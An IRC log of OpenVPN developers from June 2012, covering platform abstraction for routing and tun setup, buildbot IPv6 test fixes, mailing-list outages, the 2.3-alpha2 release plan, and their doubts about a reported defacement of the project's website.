07:35 <@mattock> and it seems to work just fine 07:36 <@cron2> mattock: I think it makes more sense to remove that 07:36 <@cron2> copy t_client.rc, use wherever it points to 07:36 <@mattock> ok, just a sec 07:36 <@cron2> then I can use the key names I already have :) 07:38 <@mattock> I'll restart buildmaster 07:39 <@mattock> ok, copying steps (except t_client.rc) removed 07:40 <@mattock> I'll look into the IPv6 payload stuff next week, IPv4 is covered already 07:40 <@mattock> last buildslave (fedora-16-i386) in "make check" tests 07:42 <@mattock> worked 07:46 <@cron2> cool 07:47 <@cron2> I'll add a functional t_client.rc to my slaves and test (... as soon as my brain feels less sponge-like :( ) 07:57 <@mattock> hmm, sponge-like brain... that sounds fairly bad :P 08:02 <@cron2> no comparison to what my throat feels like :( 08:08 <@mattock> getting a flu? 08:09 <@cron2> already have it... arrived yesterday, lying in bed and not having enough energy to do anything useful 08:52 -!- d12fk [~heiko@exit0.net] has quit [Quit: ZNC - http://znc.sourceforge.net] 08:53 -!- chantra_ [~chantra@unaffiliated/chantra] has quit [Ping timeout: 244 seconds] 08:55 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 08:55 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 09:29 <@dazo> d12fk: you around? 09:29 <@d12fk> i am 09:30 <@d12fk> read about the priv channel stuff 09:30 <@dazo> d12fk: did you see our Android-ish discussion yesterday? 09:30 <@dazo> yeah 09:31 <@d12fk> not sure if we can bundle those, as the protocols are different 09:31 <@d12fk> which will be the case for any OS 09:31 <@dazo> Yeah, I know ... but it's kind of solving much of the same issues ... so having a unified approach would kind of be more beneficial 09:31 <@d12fk> android-ovpn talks to the kernel directly right? 09:32 <@dazo> nope ... it goes via some APIs in Android 09:32 <@d12fk> ok, we'd need to have a middleware then, just for the cause of a unified api to the priv channel 09:32 <@dazo> so OpenVPN runs unprivileged, gets the IP address stuff and routes ... and pushes that via the API ... and in return it gets the fd to communicate with the tun/tap dev 09:33 <@dazo> otherwise, we complicate OpenVPN with different APIs, depending on which platforms it's built on .... that's going to be a worse scenario 09:34 <@d12fk> so we need a platform-ifconfig and platform_add/delroute 09:35 <@dazo> but the tun/tap fd passing is kind of Android specific ... all the other things can probably be unified 09:35 <@d12fk> i dont think having a service/daemon running just for abstraction is what we want 09:35 <@dazo> fair point 09:36 <@d12fk> if we do the platform specific stuff in a separate module its good enough i think 09:36 <@dazo> the tricky thing is that some platforms will want the IP/routing info *before* the TUN/TAP is "established" ... while most other platforms will need that info *after* the TUN/TAP is created 09:39 <@d12fk> that can even be handled less unified. something like ifconfig_or_route() maybe? 09:39 <@dazo> (that support is already available and implemented ... but it needs to be considered when doing this abstraction cleaner) 09:39 <@d12fk> what are the expectations in the code? 09:40 <@dazo> currently (based on my memory), it does the ifconfig/route stuff after open_tun() on *nix .... but on Windows, it does it before. And the Android patches uses the same 09:40 <@dazo> as Windows 09:40 <@dazo> but tbh ... I'm not sure I see the drawbacks of doing the open_tun() stuff after retrieving all the info from the server 09:40 <@d12fk> hm that could explain a bug on windows 09:41 <@dazo> always happy to help ;-) 09:41 <@d12fk> somethines dhcp does not work as expected 09:41 <@dazo> hmm 09:41 <@d12fk> but then, that's done after the itf came up, so no =) 09:41 <@dazo> darn! ;-) 09:43 <@d12fk> how about we accept the fact in ovpn and have a setup_order information somewhere depending on the platform it is compiled for 09:44 <@d12fk> what else could you abstract reasonably 09:44 <@d12fk> i'm too little of an architect to throw xml in here =P 09:44 <@dazo> well, that's the quick solution ... but I'm pondering if it's possible to get a simpler (code wise) alternative which would cause less maintenance burdons 09:45 <@dazo> hehehe ... no, we shouldn't use xml for this ;-) 09:45 <@d12fk> are there any such burdons? 09:45 <@dazo> have you looked at tun.c? 09:45 <@d12fk> trying not to as much as i can 09:46 <@dazo> code duplication ... and really difficult to navigate in 09:46 <@d12fk> but then, isn't all that subject to move into platform-*.c code 09:46 <@d12fk> much like route.c 09:47 <@d12fk> depending on your compile time --host the right module is linked against 09:47 <@d12fk> correct function get called magically 09:48 <@d12fk> or more liek the lib contains only the function for the specified host 09:48 <@dazo> well, I'm thinking if we could have something more "pluggable" ... so it doesn't need to be so much monolitic ... where we minimise what the "platform" specific code needs to do, and generalise most of the rest .... some platforms won't need the ifconfig/route stuff f.ex .... Windows uses the DHCP server-imitation approach, Android needs to pass this info to a different API ... I'm thinking NetworkManager could be more directly connect 09:48 <@dazo> ed 09:51 <@d12fk> it would only need to be pluggable if the binary daemon could run on the different platform when it's differently plugged, which is not very likely 09:51 <@dazo> well, with "pluggable", I didn't mean dynamically loaded ... it can be statically linked in code 09:51 <@dazo> for that platform 09:52 <@d12fk> that's what the platform library does, or did i get that wrong 09:53 <@d12fk> currently it only provides functions that are not implemeted, but i don't see why it couldn't implement and platform function set as well 09:53 <@d12fk> more complex function that just wrapping syscalls that is 09:54 <@d12fk> ovpn just says add me a route and the platform code would take care of the absurdities 09:54 <@dazo> well, the border between the compat lib and the platform.c code is kind of unclear for me .... as they solve missing features 09:55 <@d12fk> then this platform code could also define how ovpn should behave 09:55 <@dazo> but yes, the platform code as you call it, should kind of be a unified API ... so that you can easily swap that out when preparing for a different platform 09:55 <@d12fk> i.e. add routes before ifconfig 09:56 <@d12fk> yes 09:56 <@dazo> I'm just trying to limit the varieties as much as possible :) 09:56 <@dazo> as that's one thing which makes the current code hard to work with 09:57 <@dazo> and what needs to be different, isolate them to as small pieces as possible .... so that's kind of what got me thinking when I saw the Android patches 09:57 <@dazo> where routing and ifconfig info was passed out of OpenVPN 09:58 <@dazo> and the routing info is somewhat similar tackled in the new win GUI 09:58 <@dazo> (ifconfig goes via the DHCP server imitation) 09:58 <@d12fk> well that android route function would then use the android API, on linux rtnetlink could be used 09:58 <@d12fk> windows would use the service 09:59 <@d12fk> the platform modules could even register platform specific options 09:59 <@dazo> yes ... but if the API for passing that info would be as close as possible for all these platforms, then I kind of hoped it would make life easier 09:59 <@d12fk> it would, i agree 10:00 <@d12fk> the api for all would be a high level add_route e.g. 10:00 <@dazo> f.ex. pass a defined struct of ifconfig and routes ... and then the platform specific code would make use of that and pass it on how the platform needs it 10:01 <@d12fk> in the client case this is at different points in the code 10:01 <@dazo> I don't know exactly where you hook your service pipe stuff into openvpn ... but it would be nasty if you do it one place, and it passes basically the same information as the Android platform needs - but Android does the hook somewhere else in the code 10:01 <@dazo> that's what I'm trying to avoid 10:02 <@d12fk> i just added it to route.c at the respective times add_route is called, just another route_method 10:02 <@dazo> And what I do find interesting, is that this info is passed over the management interface on Android ... but I'm not sure if I see that as a advantage or drawback right now 10:03 <@d12fk> what info? 10:03 <@dazo> the ifconfig/route stuff ... it's given a file descriptor, and the mgmt intf passes the info that way ... if I read the code correctly 10:04 <@dazo> the fd to use is also passed via the mgmt intf 10:05 <@d12fk> so, who's the mgmt itf client then? the android gui? 10:05 <@dazo> d12fk: would it be possible to push your openvpn changes to a public server .... so that maybe Arne, you and I can have a closer look if we can make things more unified? 10:05 <@dazo> maybe cron2 and andj would be interested as well? 10:06 <@d12fk> sure i was hoping to get the last changes in before that, but that will need another two week judgung from now 10:06 <@dazo> well, you're allowed to update the tree too ;-) 10:07 <@dazo> I think that we might end up with your current windows approach and arne's Android approach in 2.3 ... but cleaning this up in for 2.4 would be great 10:08 <@dazo> and if we can get things unified, it would be far easier to do the rtnetlink stuff for Linux too 10:09 <@d12fk> i hope i ca publish some stuff next week 10:09 <@d12fk> the mgmt stuff sound strange to me however 10:10 <@d12fk> but it could be that i just don't see the brilliance of the approach 10:10 <@dazo> yeah, and the code looks just as strange too ... which is why I'm in this little thinking box :) 10:11 <@d12fk> afaik mgmt itf is towarss the (unprivileged) client 10:12 <@d12fk> is the android api open to anyone on the system? 10:12 <@dazo> yes, and on Android the GUI is also unprivileged ... but it uses some Android API which provides a VPN object, where you pass the network setup, and get a fd back where you read/write to the tun/tap device 10:12 <@dazo> on ICS that API is brand new 10:13 <@d12fk> very nice api for trojans 10:13 <@dazo> could be indeed ... I haven't dug into the security parameters around this API 10:13 <@d12fk> well not our business anyway 10:14 <@dazo> agreed! :) 10:14 <@d12fk> it was like that up to win xp as well 10:14 <@dazo> yupp 10:14 <@d12fk> hence the windows service 10:15 <@dazo> But if you're able to push out your work somewhere, so more people can look at it ... I can initiate a private discussion for now, where we try to see if we can come up with something clever together 10:16 <@dazo> and first when we are getting closer to a common agreement, we can break the discussion out to the ML 10:17 <@dazo> (I guess James is also interested in this too, as they are also doing their work on their own OpenVPN for Android as well) 10:17 <@dazo> How does that sound to you? 10:19 <@d12fk> all god 10:19 <@d12fk> +o 10:19 <@dazo> goodie! :) 10:20 <@d12fk> poland vs. greece now. =) 10:22 <@dazo> have fun :) 10:26 -!- dazo is now known as dazo_afk 10:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:44 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 12:02 <@cron2> dazo, d12fk: what we can do on about any platform is to pull in an intermediate layer "setup_interface_and_routing()", which would then "do whatever is needed" on the platform of choice - pass the data structure to privileged service on windows, pass the data structure to GUI on Android, just go ahead and configure stuff on *ix 12:03 <@cron2> splitting route.c, tun.c into a "platform library" needs really good arguments to get me convinced - "just split what we have with all the code duplication in 10 new modules" is *not* improving anything 12:03 <@cron2> what might be interesting is to table-drive routing and ifconfig - basically, all platforms have "call ifconfig with 'some' parameters", but the order of these varies... 12:04 <@cron2> so for all the unix systems (except solaris) a generic route-configurator that will just be passed a "platform struct" that defines in which order things are to be called, whether a "connected" route is needed, what needs to be done to cleanup on tun_close(), etc. 12:41 < plaisthos> cron2: you were right. the socket.c is not for the faint heart :) 15:02 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: Lost terminal] 15:29 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:36 -!- Netsplit *.net <-> *.split quits: novaflash 19:45 <+krzee> [20:29] <Ugly_Duck> OpenVPN 2.1 requires '--script-security 2' 19:45 <+krzee> [20:31] <Ugly_Duck> anyone able to assist me with that, i've searching on google, but not having much luck 19:45 <+krzee> [20:41] * s7r has quit () 19:45 <+krzee> [20:45] <krzee> Ugly_Duck, are you running any scripts with openvpn? 19:45 <+krzee> [20:45] <krzee> if not, ignore it 19:45 <+krzee> [20:45] <Ugly_Duck> krzee: nope 19:46 <+krzee> [20:45] <Ugly_Duck> ok 19:46 <+krzee> i still think that message should only exist when people have a script and dont have script-security set --- Day changed Sat Jun 09 2012 03:25 <@cron2> krzee: what is OpenVPN 2.1? 03:25 <@cron2> seriously: I seem to remember that we worked on that message in "some release", it might have been changed in 2.2 already... 03:55 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Operation timed out] 04:45 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 05:28 < uuuppz> cron: pretty sure its still showing in 2.2 07:22 <+krzee> definitely still showing in 2.2.1 08:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 10:58 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:59 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:59 <@andj> :( 13:02 <@cron2> gah 13:02 <@cron2> "ip -6 route show" is starting to annoy me big time 13:03 <@cron2> if shows ever-changing values for $lotsofinterestingstuff which is completely outside OpenVPN's control - but since we don't know that, we can't "just ignore routes not pointing to tun" 15:40 <@cron2> waaah 15:41 <@cron2> dazo: I think MacOS just *names* IPV6_RECVPKTINFO differently, but its IPV6_PKTINFO does the same thing 15:43 <@cron2> rfc3542, rfc2292 15:45 <@cron2> yeah, exactly, IPV6_PKTINFO was the name for sending *and* receiving in RFC2292, and RFC3542 renamed "receive info!" to IPV6_RECVPKTINFO 15:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 21:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jun 10 2012 01:03 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o andj__] by ChanServ 01:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 01:05 -!- andj__ is now known as andj 01:08 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 01:09 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 05:16 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:15 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 06:44 * plaisthos wodners what the point of ifdefs like ENABLE_INLINE_FILES and ENABLE_CONNECTIONS is if they are enabled always anyway 08:40 <@cron2> plaisthos: I'm not sure I can give you a straight-faced answer here... 08:41 <@cron2> but yeah, the OpenVPN code has way too many #ifdef in there - part is because historically James took in new features only if they could be completely disabled, to avoid bringing in stability risks for those who did not want them 08:41 <@cron2> so today we have maintenance risks because there's just too many combinations 08:49 < plaisthos> :) 08:50 < plaisthos> ah okay the ability to completly features explains a lot of the ifdefs 09:21 <@cron2> argh. linux. 09:21 <@cron2> routes added with "route add" have a default metric of "1". Routes added with "ip route add" have default metric of "1024" 09:21 * cron2 rolls eyes 09:22 < plaisthos> :) 09:22 <@cron2> plus, "route delete" will only delete routes with non-1-metric if the right metric is specified, while "ip route delete" will just kill whatever it finds... 09:23 * cron2 takes pride in cleaning up at exit... deleting routes has some extra fun, tho :) 09:25 < plaisthos> I am reading 3-4 h the connection/socket related code and still have no clear picture of it 09:34 < plaisthos> but if you do soething like connection bla bla openvpn simply ignores it :) 09:50 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 12:51 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 12:53 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:53 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:02 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:04 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:40 <@cron2> is sourceforge mail broken today, or isn't it? 15:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Mon Jun 11 2012 03:33 <@cron2> mattock: do you have any contacts at sourceforge? their mailing list seems to be borked since at least Saturday, maybe Friday 03:33 * cron2 has sent ~9 mails to openvpn-devel over the weekend, and neither myself nor gmane has received anything (and nothing from anybody else either) 03:34 <@mattock> cron2: nope, don't have any 03:35 <@mattock> I'll check if I've receive any mails during that time 03:43 <@mattock> hmm, only one mail to openvpn-devel and one to openvpn-user 03:43 <@mattock> on 10th 03:43 <@cron2> who sent that mail to openvpn-devel? 03:44 <@mattock> you 03:45 <@mattock> the IPV6_RCTP -thingy 03:46 <@cron2> ah, indeed. that shows up here as "June 09" and I got my own copy. gmane didn't show it to me, but maybe it was thread-sorted somewhere where I didn't see it (old thread) 04:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:29 <@mattock> fedora-16-i386 now has polarssl support, builds should now succeed 06:21 <@mattock> cron2: fping6 tests seem to work fine on ubuntu 12.04 06:21 <@mattock> for some reason the fping6 on centos 6 is b0rked 06:22 <@mattock> meaning, "ping6 <ipv6-address>" works, but "fping6 <ipv6-address>" does not 06:22 <@mattock> I'll see if other buildslaves are affected by this issue 06:25 <@dazo> How do you feel about a 2.2-alpha2 release soonish? 06:25 <@dazo> Maybe with the patch cron2 ACKed in the weekend plus his two extra patches? 06:33 <@mattock> dazo: what about the rest of the stuff listed here: https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 ? 06:33 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 06:33 <@mattock> to 2.3-alpha3? 06:34 <@mattock> in any case, I need to squeeze the code-signing keys out of the company first 06:35 <@dazo> I don't think we should do the syshead stuff in 2.3 ... that's changing too much code for stabilisation 06:35 <@mattock> are the rest covered? 06:36 <@dazo> The build stuff is mostly taken in ... just the "build: add --with-special-build to provide special build string" patch missing ... and I wonder if that's beneficial or not 06:36 <@dazo> oh true ... "build: msvc: chdir with change drive to script location" is missing an ACK 06:36 <@dazo> The rest of alon's build branch is covered 06:37 <@mattock> ok, so we're almost there, good 06:37 <@mattock> then it's mostly about the code-signing keys 06:37 <@mattock> even buildslaves are almost done 06:37 <@mattock> let's release 2.3-alpha2 a.s.a.p. 06:37 <@mattock> within end of next week I'd say 06:38 <@dazo> Yeah, the plugins2 branch we can take in alpha3 ... and the unicode stuff ... what's the status there? did we get an official ACK from James on that? 06:39 <@dazo> the openvpn-gui stuff, that's d12fk's table ... so I let him rule there 06:39 <@dazo> (and to be honest, I don't care that much about the Windows GUI - from a developers perspective :)) 06:40 <@dazo> (plugins2 can also come into the first RC too) 06:41 <@mattock> you mean the two patches we looked at in our previous meeting? 06:41 <@mattock> james hasn't responded anything to those, I'll have to poke him again 06:41 <@d12fk> dazo: what's with the gui? 06:41 <@dazo> the unicode stuff mainly 06:41 <@dazo> d12fk: alon have some patches for you ;-) https://github.com/alonbl/openvpn-gui/tree/build 06:41 <@vpnHelper> Title: alonbl/openvpn-gui at build · GitHub (at github.com) 06:42 <@dazo> (actually seems to be just one patch) 06:44 <@d12fk> ah that one. that fixes nothing i know of. just enables implicit building of the resources. 06:45 <@mattock> do you want to merge it or ignore it? 06:46 <@d12fk> i still have to test if syntax highlighting is broken with the .rch extension until then I will leave it out. 06:46 <@d12fk> but it can certainly be ignored in release considerations 06:47 <@dazo> solution: "linger" 06:47 <@dazo> :) 06:47 <@d12fk> rather: work on important stuff 06:47 * d12fk is back to that again =) 06:47 <@dazo> d12fk++ 06:52 <@dazo> mattock: for the 2.3-alpha2 I should probably complete the tap-win git tree too 06:53 <@dazo> have those tap patches from Alon been reviewed? 06:53 <@mattock> updated https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 with these comments 06:53 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 06:53 <@mattock> dazo: not sure about any tap patches 06:53 <@mattock> we should take a look definitely 06:56 <@dazo> it's 11 patches ("[tap-windows 00/11] standalone package") 07:03 <@cron2> dazo: all I have for 2.3_alpha2 has been mailed to the list on Sunday, but sourceforge is on strike, or so 07:03 <@mattock> dazo: can you add links to the 2.3 release page (see ^^^) 07:03 <@mattock> cron2: ubuntu 12.04, ubuntu 10.04 and debian 6 running ipv6 ifconfig/fping tests ok 07:03 <@mattock> i.e. passing the tests 07:03 <@mattock> centos 6 giving trouble still, need to figure that one out 07:03 <@cron2> dazo: and I think Alon had patches for easy-rsa as well - there seems to be a misunderstanding between you two what the new easy-rsa.git is about - I think it's "the formal split with the last version we had in openvpn.git" and Alon expected to see his work in there as well 07:03 <@cron2> mattock: great news! 07:03 <@cron2> no idea about fping6 on centos, though, but fping6 seems to be a bit wacky on some platforms - on Solaris, it does not do "fping6 $name", but "fping6 $ipv6addr" works perfectly well... 07:03 <@mattock> centos has fping 3.x, others have fping 2.x 07:03 <@mattock> maintainer changed 07:03 <@cron2> there's a 3.x? interesting, all I've ever seen yet is 2.4b2+plus+ipv6+patch 07:04 <@mattock> might be slightly different syntax or something 07:04 <@mattock> yeah 07:04 <@mattock> there is 07:04 <@mattock> http://fping.org/ 07:04 <@vpnHelper> Title: fping 3 Homepage (at fping.org) 07:04 <@dazo> cron2: yeah, but ecrist is becoming the easy-rsa maintainer, so I'll let him go through the easy-rsa patches 07:04 <@mattock> dazo: good idea 07:04 <@mattock> :P 07:06 <@mattock> yeah, fping6 (3.1) also fails on fedora-16 07:06 <@mattock> I'll look and see if it's a known bug 07:07 <@cron2> dazo: perfectly fine with that, I just had the itch that you might want to explain the mechanics to Alon, to avoid more bad feelings. But maybe I'm reading something into his mail which isn't there 07:08 <@cron2> mattock: oh noes... I deliberately picked fping to get uniform result codes and "ping with big packets" etc. behaviour across platforms 07:08 <@dazo> cron2: nah, Alon and I already discussed that on this channel a week earlier ... so I'm kind of surprised by his response ... but I'm not biting on that one 07:09 <@cron2> dazo: fine with me. I thought I bring it up, and I've done so. 07:09 <@dazo> thx ;-) 07:09 <@cron2> now if that annoying list server would please bother to deliver all the mails I've written on the weekend... *grumble* 07:14 <@dazo> you've sent more than two? 07:14 <@cron2> like hell :) 07:15 <@cron2> I've sent one about PKTINFO (which seems to have been delivered), 6 with "stuff for 2.3_alpha1" (intro + 5 patches), 1 answer to Scott Z.'s gateway patch, and I think one more but can't remember 07:16 <@dazo> ouch 07:16 <@dazo> that's quite a lot 07:17 <@cron2> all of a sudden I had a fair amount of time - we expected child#2 to show up friday/saturday, and child#1 was shipped to grandma. Child#2 decided otherwise, and so we sat at home, waiting... :-) 07:17 <@dazo> seems to not have hit sf.net at all ... 07:18 <@cron2> (and still do...) 07:18 <@cron2> dazo: well, my MTA swears it was sent and ACKed by sf.net 07:18 <@dazo> nasty 07:19 <@cron2> Jun 10 17:45:25 kirk sendmail[8802]: q5AFjFKF020732: to=<openvpn-devel@lists.sourceforge.net>, ctladdr=<gert@kirk.greenie.muc.de> (202/100), delay=00:00:10, xdelay=00:00:10, mailer=esmtp, pri=63148, relay=mx.sourceforge.net. [216.34.181.68], dsn=2.0.0, stat=Sent (OK id=1SdkKR-0002Ry-60) 07:19 <@cron2> (that was the reply to Scott, I think) 07:23 * dazo found #sourceforge here on freenode 07:31 <@mattock> yeah, bug in fping6 3.1 from rpmforge repos 07:31 <@mattock> 3.0 from fedora updates works just fine 07:31 <@cron2> meh 07:34 <@mattock> yep, downgrading to default centos 6 fping (2.4-something) fixed the issue on centos 07:39 <@mattock> I'll mail Dag 07:57 <@mattock> done 08:00 <@mattock> mkay, all IPv6 tests seem to work ok now 08:00 <@mattock> I'll verify using buildbot web ui 08:14 <@cron2> mattock: very cool 08:27 <@mattock> all tests passed on all buildslaves 08:28 <@mattock> looking really nice 08:29 <@mattock> oh, opensuse 12.1 is still not in working order, but that's not so high priority I think 08:52 < ecrist> ping mattock 08:53 < ecrist> https://community.openvpn.net/pwm is giving a 503 08:56 * ecrist looks for pwm, tries to start it 08:57 * ecrist can't find it 08:57 -!- dazo is now known as dazo_afk 09:02 -!- dazo_afk is now known as dazo 12:10 <@mattock> hmm 12:10 <@mattock> let's see 12:19 <@mattock> pwm is up, but apache is causing the error for some reason 12:27 <@mattock> actually, the new pwm is running on the ldap server, and that one seems unresponsive 12:38 -!- dazo is now known as dazo_afk 12:39 <@mattock> andrew is rebooting the server, let's see what happens 12:50 <@mattock> pwm seems to be up 13:08 <@mattock> the server had ran out of memory 13:09 <@mattock> kernel was a real joker, though... out of all processes it had at it's disposal to kill when running out of memory, guess what it chose? 13:09 <@mattock> rsyslogd 13:09 <@mattock> :D 13:24 < ecrist> lol 14:29 <@cron2> ok, sf.net archive shows all mails I've sent now. My own mailbox doesn't yet show all copies, but more keep rolling in 17:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 17:46 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:06 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 252 seconds] --- Day changed Tue Jun 12 2012 01:00 -!- ender| [krneki@foo.eternallybored.org] has quit [Read error: Operation timed out] 01:16 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 01:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:56 -!- dazo_afk is now known as dazo 02:58 -!- ender| [krneki@foo.eternallybored.org] has quit [Read error: Operation timed out] 02:59 <@dazo> mattock: which kernel version was that? ... the OOM-killer can be unpredictable, and have been even more unpredictable earlier ... but things should have improved during the 2.3? series, though 03:15 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 03:23 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:37 <@mattock> dazo: debian-patched 2.6.32 06:13 <@dazo> mattock: ahh ... I found the OOM rewrite reference now ... it was around 2.6.36, so unless debian backported that, then that's why ... https://lwn.net/Articles/391222/ 06:13 <@vpnHelper> Title: Another OOM killer rewrite [LWN.net] (at lwn.net) 06:54 <@cron2> dazo: btw, did my "PATCH 1/5...5/5" mail thread arrive at your mailboxes by now? 06:54 <@dazo> cron2: yes, I got them ... haven't had time to go really through that yet ... hope to manage that before Thursday 06:55 <@dazo> (most of it makes sense and looks fine ... but some of the code needs an extra eye) 07:00 <@cron2> ok, good to see the mails made it, finally :-) - and yeah, of course the stuff should be reviewed 08:45 <@andj> hmm, what happened to the openvpn site? 08:45 <@dazo> andj: what do you see? 08:45 <@dazo> just got a report on #openvpn 08:45 <@dazo> but seems to be back for me 08:45 <@dazo> http://thehackernews.com/2012/06/openvpn-defaced-by-hackers.html 08:45 <@vpnHelper> Title: OpenVPN Defaced by Hackers | The Hacker News (at thehackernews.com) 08:45 <@andj> yeah, a colleague just pointed it out 08:46 < ecrist> I don't think anything happend to openvpn 08:46 <@andj> thought I'd come check in and see what caused the hack 12:21 <@cron2> d12fk: ayt? 12:21 -!- dazo is now known as dazo_afk 12:24 <@d12fk> cron2: it's a window, but yeah =) 12:24 <@cron2> d12fk: good. I'm cleaning up my heap of "unfinished openvpn-devel threads" and wondered what happened to your --auto-proxy removal patch 12:24 <@cron2> seems nobody commented on it and then it was just overrun by build system revolution, right? 12:25 <@d12fk> no idea, didn't dazo merge it right away during fosdem? 12:25 <@cron2> I thought he did, but can't find anything in git log 12:25 <@d12fk> ah, then it's about time =) 12:26 <@cron2> ... and the current code still has... 12:26 <@cron2> init.c-#ifdef ENABLE_HTTP_PROXY 12:26 <@cron2> init.c: if (c->options.ce.http_proxy_options || c->options.auto_proxy_info) 12:26 <@cron2> so now, it's still there 12:26 <@cron2> s/now/no/ 12:26 <@d12fk> then its def not merged 12:27 <@cron2> you might want to rebase & re-send... (and/or poke dazo, but he went into hiding just when I spoke up...!) 12:33 <@d12fk> i will def when the part in the gui auto-proxy stuff is ready 12:33 <@cron2> ok 13:08 < ecrist> where is mattock and raidz today? 13:08 <@mattock> kind of here 13:13 < ecrist> mattock: please see /msg 13:26 <@mattock> I wonder when exactly the supposed hack happened 13:29 * ecrist guessing it never did 14:21 <+krzee> lol really? 14:26 < ecrist> krzee: apparently the hack happened so fast there's only one single example of it 14:26 < ecrist> hosted on some questionable website 14:26 <+krzee> lol 14:26 <+krzee> weird 14:27 <@mattock> if the hack happened during non-business hours (at PST), it's highly unlikely it would have got fixed so quickly 14:28 < ecrist> exactly 14:28 < ecrist> and I find it doubtful whoever fixed it wouldn't have said something about it here, on their own 14:28 <@mattock> yep 14:28 <+krzee> and the maillist or irc would likely find out first 14:28 < ecrist> yup 14:34 <+krzee> maybe it was posted in the future, and just hasnt happened yet 14:34 <+krzee> (i just watched all 3 back to the future movies, lol) 14:37 <@mattock> andrew had no clue about the hack 14:37 <@mattock> it could be that they hacked openvpn.com, which is not our domain... it's held by a domain hoarder 14:37 <@mattock> if they hacked anything 14:39 <@mattock> very suspicious claims still 14:40 < ecrist> as I said earlier, I call bullshit 14:40 <@mattock> yep, me too 14:40 < ecrist> iirc, it was ack'd 14:40 < ecrist> :) 14:43 <+krzee> is 67.228.116.150 the right ip? 14:45 <+krzee> check logs from 2012-06-12 01:10:14 14:45 <@mattock> krzee: which TZ? 14:46 <+krzee> good question, doesnt say 14:46 <+krzee> http://www.zone-h.org/mirror/id/17893105 14:46 <@vpnHelper> Title: openvpn.net hacked. Notified by HcJ (at www.zone-h.org) 14:55 < ecrist> that claims to be the proper IP 15:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:24 <+krzee> why does https://www.openvpn.net redirect to http:// ? 18:24 <@vpnHelper> Title: OpenVPN - Open Source VPN (at www.openvpn.net) 21:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Wed Jun 13 2012 00:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 00:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 00:32 -!- mode/#openvpn-devel [+o dazo] by ChanServ 01:39 <@mattock> andrew ordered the code-signing keys yesterday evening 02:37 <@cron2> cool 02:43 < ender|> whose code-signing keys do you use? 03:25 <@dazo> d12fk: cron2: I thought we agreed the auto-proxy stuff was to be moved out of openvpn and into openvpn-gui .... or 